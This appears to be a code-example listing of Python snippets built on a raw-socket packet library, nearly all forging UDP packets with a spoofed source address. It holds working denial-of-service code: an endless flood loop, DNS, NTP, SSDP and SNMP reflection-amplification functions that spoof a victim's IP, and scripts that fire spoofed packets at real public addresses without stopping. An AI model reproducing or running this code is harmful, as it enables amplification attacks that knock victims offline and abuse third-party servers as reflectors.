Example #1
0
	def __send(self, sock, soldier, proto, payload):
		'''
			Send a Spoofed Packet
		'''
		udp = UDP(self.sendingport, PORT[proto], payload).pack(self.target, soldier)
		ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
		sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
    def __send(self, fakeSocket, dest, port, data):
        """
            send a spoofed packet

        """
        udp = UDP(randint(1, 65535), port, data).pack(self.source, dest)
        ip = IP(self.source, dest, udp, proto=socket.IPPROTO_UDP).pack()
        fakeSocket.sendto(ip + udp + data, (dest, port))
Example #3
0
    def __send(self, sock, soldier, proto, payload):
        '''
			Send a Spoofed Packet
		'''
        udp = UDP(randint(1, 65535), PORT[proto],
                  payload).pack(self.target, soldier)
        ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
        print "send spoof packet with self.target=" + str(self.target)
        sock.sendto(ip + udp + payload, (soldier, PORT[proto]))
Example #4
0
def udp_spoof_pck(dest_ip, dest_port, source_ip, source_port, payload):
    """Create and return a spoofed UDP packet.

    Keyword argument(s):
    dest_ip -- the desired destination ip
    dest_port -- the desired destination port
    source_ip -- the desired source ip
    source_port -- the desired source port
    """
    udp_header = UDP(source_port, dest_port, payload).pack(source_ip, dest_ip)
    ip_header = IP(source_ip, dest_ip, udp_header, IPPROTO_UDP).pack()
    return ip_header+udp_header+payload
Example #5
0
def attack(soldier,target):

	proto = ddos_type
	payload = PAYLOAD[proto]
	sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
	udp = UDP(int(attackport), PORT[proto], payload).pack(target, soldier)
	ip = IP(target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
	data_pack,length,size = [ip+udp+payload,len(ip+udp+payload),(soldier_size*1024)/8]
	i = 0
	while True:
		sock.sendto(data_pack, (soldier, PORT[proto]))
		i = i+length
		if i>=size:
			time.sleep(1)
			i = 0
Example #6
0
 def dns_amplification(self):
     print('\n' + ' ' * 23 + 'DNS Reflecting on %s:%d\n' %
           (self.args.target_ip, 53))
     sock = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                          socket.IPPROTO_RAW)
     domain_list = []
     for domain in open(self.args.file, "r"):
         domain = domain.strip()
         if domain != "":
             domain_list.append(domain)
     while True:  # TODO: add dns_amplification multi-thread
         for domain in domain_list:
             payload = self.get_dns_query(domain)
             udp = UDP(random.randint(1, 65535), 53,
                       payload).pack(self.args.target_ip, domain)
             ip = IP(self.args.target_ip,
                     domain,
                     udp,
                     proto=socket.IPPROTO_UDP).pack()
             sock.sendto(ip + udp + payload, (domain, 53))
Example #7
0
 def ntp_amplification(self):
     print('\n' + ' ' * 23 + 'NTP Reflecting on %s:%d\n' %
           (self.args.target_ip, 123))
     sock = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                          socket.IPPROTO_RAW)
     payload = ('\x17\x00\x02\x2a' + '\x00' * 4)
     ntp_server_list = []
     for ntp_server in open(self.args.file, "r"):
         ntp_server = ntp_server.strip()
         if ntp_server != "":
             ntp_server_list.append(ntp_server)
     while True:  # TODO: add ntp_amplification multi-thread
         for ntp_server in ntp_server_list:
             udp = UDP(random.randint(1, 65535), 123,
                       payload).pack(self.args.target_ip, ntp_server)
             ip = IP(self.args.target_ip,
                     ntp_server,
                     udp,
                     proto=socket.IPPROTO_UDP).pack()
             sock.sendto(ip + udp + payload, (ntp_server, 123))
Example #8
0
 def ssdp_amplification(self):
     print('\n' + ' ' * 23 + 'SSDP Reflecting on %s:%d\n' %
           (self.args.target_ip, 1900))
     sock = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                          socket.IPPROTO_RAW)
     payload = ('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
                'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
     ssdp_server_list = []
     for ssdp_server in open(self.args.file, "r"):
         ssdp_server = ssdp_server.strip()
         if ssdp_server != "":
             ssdp_server_list.append(ssdp_server)
     while True:  # TODO: add ssdp_amplification multi-thread
         for ssdp_server in ssdp_server_list:
             udp = UDP(random.randint(1, 65535), 1900,
                       payload).pack(self.args.target_ip, ssdp_server)
             ip = IP(self.args.target_ip,
                     ssdp_server,
                     udp,
                     proto=socket.IPPROTO_UDP).pack()
             sock.sendto(ip + udp + payload, (ssdp_server, 1900))
Example #9
0
 def snmp_amplification(self):
     print('\n' + ' ' * 23 + 'SNMP Reflecting on %s:%d\n' %
           (self.args.target_ip, 161))
     sock = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                          socket.IPPROTO_RAW)
     payload = ('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
                '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
                '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
                '\x01\x02\x01\x05\x00')
     snmp_server_list = []
     for snmp_server in open(self.args.file, "r"):
         snmp_server = snmp_server.strip()
         if snmp_server != "":
             snmp_server_list.append(snmp_server)
     while True:  # TODO: add snmp_amplification multi-thread
         for snmp_server in snmp_server_list:
             udp = UDP(random.randint(1, 65535), 161,
                       payload).pack(self.args.target_ip, snmp_server)
             ip = IP(self.args.target_ip,
                     snmp_server,
                     udp,
                     proto=socket.IPPROTO_UDP).pack()
             sock.sendto(ip + udp + payload, (snmp_server, 161))
Example #10
0
def UDP_Spoof(DEST_IP, DEST_PORT, SOURCE_IP, SOURCE_PORT, PAYLOAD):
    UDP_HEADER = UDP(SOURCE_PORT, DEST_PORT, PAYLOAD).pack(SOURCE_IP, DEST_IP)
    IP_HEADER = IP(SOURCE_IP, DEST_IP, UDP_HEADER, IPPROTO_UDP).pack()
    return IP_HEADER + UDP_HEADER + PAYLOAD
Example #11
0
    payload_return = payload_return.replace(b'aaa', id)
    payload_return = payload_return.replace(b'bbb', QName)
    return payload_return



print(sys.version)
target = '192.168.1.142'

resolver = '88.205.225.242'

# sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW)

PNUM = 100000

start_time = time.time()

for i in range(PNUM):
    payload = getDnsQuery('abc.com')
    udp = UDP(randint(1, 65535), 53, payload).pack(target, resolver)
    ip = IP(target, resolver, udp, proto=socket.IPPROTO_UDP).pack()
    x = sock.sendto(ip + udp + payload, (resolver, 53))

    # print(x)
end_time = time.time()

total_time = end_time - start_time
pps = PNUM / total_time
print("%s packets was sent, pps is %s, run time is %s" % (PNUM, pps, total_time))
Example #12
0
File: test.py Project: isxie/test
#coding=utf-8
#!/usr/bin/python
import socket
import time
from pinject import IP, UDP

payload = 'enhe'
src = {'ip':'8.8.9.9','port':555}
dst = {'ip':'122.226.223.164','port':666}

sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
udp = UDP(src['port'], dst['port'], payload).pack(src['ip'], dst['ip'])
ip = IP(src['ip'], dst['ip'], udp, proto=socket.IPPROTO_UDP).pack()
while True:
	sock.sendto(ip+udp+payload,(dst['ip'], dst['port']))
	print 'send....'
	time.sleep(1)